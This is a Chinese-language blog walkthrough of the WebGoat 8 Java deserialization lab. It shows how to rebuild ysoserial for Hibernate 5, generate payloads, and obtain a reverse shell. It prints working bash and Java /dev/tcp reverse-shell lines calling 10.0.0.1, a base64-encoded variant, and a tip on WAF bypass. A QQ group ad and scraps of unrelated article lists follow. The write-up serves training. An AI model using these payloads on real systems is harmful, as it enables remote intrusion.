前言

Java反序列化漏洞可以说是Java安全的一块心病,近年来更是在安全界“出尽风头”。其实说到Java反序列化的问题,早在2015年年初的在AppSecCali大会上,两名安全研究人员Chris Frohoff 和 Gabriel Lawrence发表了一篇题为《Marshalling Pickles》的报告,就详细描述了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,甚至还提供了相应的Payload生成工具ysoserial。

通过对象序列化,开发人员可将内存中对象转换为二进制和文本数据格式进行存储或传输。但是,从不受信任的数据反序列化对象可能会导致攻击者实现远程代码执行。

本文我将以WebGoat 8中的反序列化挑战(部署在Docker上)为例,向大家展示完成该挑战并进一步获取目标反向shell的完整过程。

漏洞发现

正如挑战中所提到的,易受攻击的页面从用户输入中获取Base64格式的序列化Java对象,并不加过滤的对其进行反序列化操作。我们将通过提供一个序列化对象来利用这个漏洞,该对象将触发面向属性的编程链(POP链)以在反序列化期间实现远程命令执行。
启动Burp并安装一个名为Java-Deserialization-Scanner的插件。该插件主要包括2个功能:扫描以及基于ysoserial生成exploit。

扫描远程端点后,Burp插件将向我们返回以下报告内容:

Hibernate 5 (Sleep): Potentially VULNERABLE!!!
是个好消息!

漏洞利用

现在,让我们继续下一步操作。点击exploitation选项卡以实现任意命令执行。
从提示信息来看,这个错误应该来自ysoserial。我们回到控制台看看究竟是什么问题。
通过观察ysoserial,我看到有两种不同的POP链可用于Hibernate。但使用这些payload后,我发现它们都没有在目标系统上成功执行。

那么,插件又是如何生成payload来触发sleep命令的呢?

我决定查看插件的源码:

https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java

经过一番仔细查看,我发现原来payload在插件的源码中是硬编码的。因此,我们需要找到一种方法来生成相同的payload以使其正常工作。

基于一些研究和帮助我发现,通过修改当前版本的ysoserial可以使我们的payload正常工作。我下载了ysoserial的源码,并决定使用Hibernate 5重新对其进行编译。想要使用Hibernate 5成功构建ysoserial,我们还需要将javax.el包添加到pom.xml文件中。

此外,我还向原始项目发送了一个Pull请求,以便在选择hibernate5配置文件时修复构建。

现在,我们就可以使用以下命令开始重新构建ysoserial了:

mvn clean package -DskipTests -Dhibernate5
然后,我们使用以下命令来生成payload:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 “touch /tmp/test” | base64 -w0

我们可以通过以下命令访问docker容器,来验证我们的命令是否已成功执行:

docker exec -it <CONTAINER_ID> /bin/bash
可以看到我们的payload已在目标机器上成功执行了!

我们继续枚举目标机器上的二进制文件。

webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$
只有Perl和Bash可用。让我们尝试生成一个可向我们发送反向shell的payload。

以下是Pentest Monkeys上的一些单行反向shell:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

我决定尝试Bash反向shell:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但你可能知道java.lang.Runtime.exec()具有一定的局限性,它不支持重定向或管道等shell操作符。

让我们试试Java编写的反向shell。我将修改Gadgets.java上的源码,来生成反向shell payload。

以下是我们需要修改的路径:

/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java
从第116到118行。

下面是Pentest Monkeys上提到的一个Java反向shell,但依然无法正常工作:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor()
在进行了一番修改后,结果如下:

String cmd = “java.lang.Runtime.getRuntime().exec(new String []{”/bin/bash","-c",“exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done”}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);
让我们再次重建ysoserial,并测试生成的payload。

可以看到,这次我们成功获取到了一个反向shell!

太棒了!

Payload生成过程概述

在研究过程中,我们发现了这个编码器,它也可以帮助我们完成这个任务:

http://jackson.thuraisamy.me/runtime-exec-payloads.html

通过以下Bash反向shell命令:

bash -i >& /dev/tcp/[IP address]/[port] 0>&1
将会为我们生成如下payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
另外,该编码器还可用于绕过WAF哦!不信你就试试~《有兴趣的朋友可以加QQ群947405150一起探讨技术交流!!QQ群947405150》

Java反序列化漏洞:在受限环境中从漏洞发现到获取反向Shell相关推荐

  1. java反序列化漏洞POP查找_利用 Java 反序列化漏洞在受限环境下获取反向 Shell

    原标题:利用 Java 反序列化漏洞在受限环境下获取反向 Shell 原文链接: https://medium.com/abn-amro-red-team/java-deserialization-f ...

  2. 如何将你在公有云环境中的漏洞找出来?

    渗透测试可以帮助企业将他们在公有云环境中的漏洞找出来.但是针对AWS.谷歌和Azure的测试需求有什么不同呢? 很多企业IT部门使用云渗透测试来确定和解决他们在云计算环境中的潜在安全缺陷.但是,在公有 ...

  3. wordpress表单数据验证_微软发布最大规模周二补丁修复129个漏洞;UPnP协议中的漏洞CallStranger,可导致数据泄露或DDoS攻击...

    维他命安全简讯 10 星期三 2020年06月 [漏洞补丁] 微软发布最大规模的周二补丁程序,共修复129个漏洞 [安全漏洞] UPnP协议中的漏洞CallStranger,可导致数据泄露或DDoS攻 ...

  4. java利用xml生成excel_JAVA环境中基于XML的一种EXCEL报表生成方法

    JAVA环境中基于XML的一种EXCEL报表生 成方法 彭海波王哓东 昆明理工大学信息工程与自动化学院, 云南昆明 650051 摘要:本文探讨了JAVA语言环境下的基于XML的一种EXCEL报表实现 ...

  5. 在受限环境中优化无人机集群的蜂拥行为

    文章目录 引用 摘要 结果 通过进化优化进行蜂拥模型实例化 速度的可伸缩性 集群个体数量的可扩展性与集体避障 室外飞行的实验结果 讨论 材料和方法 可调式自组织蜂拥模型 排斥(Repulsion) 速 ...

  6. Docker学习笔记之在开发环境中使用服务发现

    0x00 概述 服务发现应用是很多服务化系统的组成部分,所以在开发.测试环境中也就有必要配备一套服务发现体系来配合我们的开发.测试工作.在这一小节里,我们就来谈谈如何在 Docker 环境下部署服务发 ...

  7. java windows域_域环境中的windows软件安装

    这几天要在单位部署一个软件包,是msi形式的,据说可以通过"域推送"的形式安装,搜索了一下,发现需要在 组策略->软件设置->软件安装 里面添加放在共享目录里的软件包. ...

  8. 如何实现微服务架构中的服务发现

    为什么使用服务发现? 想象一下,如果你在写代码调用一个有REST API或Thrift API的服务,你的代码需要知道一个服务实例的网络地址(IP地址和端口).运行在物理硬件上的传统应用中,服务实例的 ...

  9. 如何实现微服务架构中的服务发现?

    转载出处:​如何实现微服务架构中的服务发现?  原文地址:Service Discovery in a Microservices Architecture 编者按:在『应用架构一团糟?如何将单体应用 ...

  10. (38)【JAVA反序列化漏洞】简介、原理、工具、环境、靶场、思路

    目录 一.简介: 二.原理: 2.1.Java对象: 2.2.Java 序列化: 2.3.Java 反序列化: 三.函数: 四.工具: 4.1.ysoserial 0.0.4版 4.2. payloa ...

最新文章

  1. 酸奶饮料新产品口味测试研究案例
  2. 在网页中显示数字时钟
  3. 科普 | USB 协议与接口
  4. 计算机控制读书报告心得,计算机控制系统读书报告
  5. P4309-[TJOI2013]最长上升子序列【Splay】
  6. 高级ZK:异步UI更新和后台处理–第2部分
  7. 比较DataTable中新旧数据
  8. 电脑home键在哪_电脑键盘各键的名称及使用方法
  9. 三次样条曲线拟合及Matlab/Python实现
  10. php70w-mbstring,php安装
  11. php订单号生成规则,项目笔记之订单号生成规则以及方法,第一篇!
  12. 算法设计与分析基础(第3版)读书笔记(及几处翻译上的错误~~)
  13. oracle 用户密码过期修改,Oracle用户登录密码过期的修改
  14. 辞退了一位简历造假的程序员,简历美化可以,造假不可取!
  15. My Sixty-fifth Page - 整数拆分 - By Nicolas
  16. scala中match使用的坑Scala.matchError:(of class java.lang.String)
  17. js php活动倒计时,js活动倒计时实现思路?
  18. vue3 项目中如何输出webpack的config.js
  19. 揭秘AAA企业信用等级证书的权威性
  20. 微软真是个十足的混蛋啊!让我们跟踪Exception到行把!(不明真相群众请入)...

热门文章

  1. 层次分析法在matlab上的实现
  2. 星空编程 小甲鱼c语言,c++快速入门(小甲鱼)
  3. 2021-10-21-Flask-04 模型关系的建立,增删改查的演示,一篇文章让你直接搞懂Flask模型
  4. dreamweaver8 html5,dreamweaver8
  5. 双极性正弦脉宽调制(双极性SPWM)介绍及MATLAB仿真验证
  6. html快闪软件制作,快闪文字视频制作
  7. 第7节 简单抓包实验及验证帧结构——基于“科来”软件
  8. php 卡号算法,验证信用卡卡号代码 Luhn算法
  9. Xcode使用githut做代码版本管理
  10. 交通大数据干货总结(1)